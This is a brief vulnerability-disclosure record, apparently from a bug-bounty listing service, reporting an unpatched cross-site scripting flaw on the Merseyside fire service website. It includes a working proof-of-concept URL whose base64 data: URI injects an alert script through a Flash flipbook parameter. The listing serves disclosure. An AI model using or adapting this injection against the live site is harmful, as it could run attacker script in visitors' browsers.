merseyfire.gov.uk XSS vulnerability

Vulnerable URL: https://www.merseyfire.gov.uk/aspx/pages/community/Flipbooks/MFKnowsleyCommunitySafetyPlan/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:|...